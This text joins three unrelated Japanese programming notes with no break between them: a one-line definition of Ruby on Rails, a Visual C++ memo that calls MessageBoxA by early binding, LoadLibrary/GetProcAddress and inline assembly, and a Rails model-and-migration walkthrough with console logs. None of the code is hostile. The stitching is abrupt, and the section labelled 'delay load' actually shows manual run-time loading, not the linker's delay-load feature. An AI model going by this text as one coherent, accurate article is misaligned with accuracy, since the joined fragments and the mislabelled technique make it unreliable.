Ruby on RailsとはRubyを使用したフレームワークである。
フレームワークとは雛形のことで、一からプログラミングをしなくても枠組みが用意されているため開発時間を大幅に削減することができる。他にもSinatraやHANAMIなどがある
VC++でDLLをディレイロードしてみた

#環境
- Windows 10 Home (64bit)
- Visual Studio Community 2019

#手順

##プロジェクトの作成
プロジェクト テンプレート：空のプロジェクト [C++]
プロジェクト名：dlltest

プロジェクトのプロパティ
リンカー／システム
サブシステム：Windows (/SUBSYSTEM:WINDOWS)

##アーリーバインド

```dlltest.cpp
#include <Windows.h>

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
	MessageBoxA(nullptr, "アーリーバインド", "dlltest #1", MB_OK);
}
```

##ディレイロード

```dlltest.cpp
#include <Windows.h>

typedef int(__stdcall* PFMSGBOX)(HWND, LPCSTR, LPCSTR, UINT);

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
	HMODULE hModule = LoadLibraryA("user32.dll");

	PFMSGBOX pfMsgBox = (PFMSGBOX)GetProcAddress(hModule, "MessageBoxA");
	pfMsgBox(nullptr, "ディレイロード", "dlltest #2", MB_OK);

	FreeLibrary(hModule);
}
```

##インラインアセンブラ

```dlltest.cpp
#include <Windows.h>

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
	HMODULE hModule = LoadLibraryA("user32.dll");

	FARPROC pFunc = GetProcAddress(hModule, "MessageBoxA");
	LPCSTR lpText = "インラインアセンブラ";
	LPCSTR lpCaption = "dlltest #3";

	__asm {
		push	MB_OK
		push	lpCaption
		push	lpText
		push	NULL
		call	pFunc
		; stdcallにつきスタックは呼出先で戻す
	}

	FreeLibrary(hModule);
}
```
モデルとテーブル作成

#モデルとテーブルの作成を備忘録として残す。

###ターミナルでモデルを作成

```
rails g model モデル名
```
下記のログが出ればOK

```
      invoke  active_record
      create    db/migrate/000000000_create_tweets.rb
      create    app/models/モデル名.rb
      invoke    test_unit
      create      test/models/モデル名_test.rb
      create      test/fixtures/モデル名.yml
```

モデル名.rbが作成される。

###テーブルの作成

モデルを生成すると一緒にマイグレーションファイルが作られる。
dbフォルダのmigrateファイルにある。これを編集する。

```
class Createモデル名（頭文字は大文字） < ActiveRecord::Migration[6.0]
  def change
    create_table :モデル名 do |t|
      t.string :name
      t.string :text
      t.text :image
      t.timestamps
    end
  end
end
```

t.あとが「型」、:に続くのが「カラム名」です。

###型の種類

string : 文字列
text : 長い文字列
integer : 整数
float : 浮動小数
decimal : 精度の高い小数
datetime : 日時
timestamp : タイムスタンプ
time : 時間
date : 日付
binary : バイナリデータ
boolean : Boolean

###マイグレーションの実行

```
rails db:migrate
```
以下のようなログが出ればOK

```
== 20xxxxxxxxxx CreateTweets: migrating =====================================
-- create_table(:tweets)
   -> 0.0148s
== 20xxxxxxxxxx CreateTweets: migrated (0.0149s) ============================
```

最後に、rails s でローカルサーバを再起動
rails c でデータが保存されていることを確認

```
[1] pry(main)> Tweet.create(name: "take", text: "apple")
```
以下のようにログが出てデータの保存ができているのを確認

```
  (4.4ms)  SET NAMES utf8,  @@SESSION.sql_mode = CONCAT(CONCAT(@@sql_mode, ',STRICT_ALL_TABLES'), ',NO_AUTO_VALUE_ON_ZERO'),  @@SESSION.sql_auto_is_null = 0, @@SESSION.wait_timeout = 2147483
   (0.3ms)  BEGIN
  Tweet Create (0.7ms)  INSERT INTO `tweets` (`name`, `text`, `created_at`, `updated_at`) VALUES ('take', 'apple', '2020-11-17 03:06:52.758040', '2020-11-17 03:06:52.758040')
   (3.2ms)  COMMIT
=> #<Tweet:0x00007ff6e6ca6770
 id: 1,
 name: "take",
 text: "apple",
 image: nil,
 created_at: Tue, 17 Nov 2020 03:06:52 UTC +00:00,
 updated_at: Tue, 17 Nov 2020 03:06:52 UTC +00:00>
```

確認できたら完了！！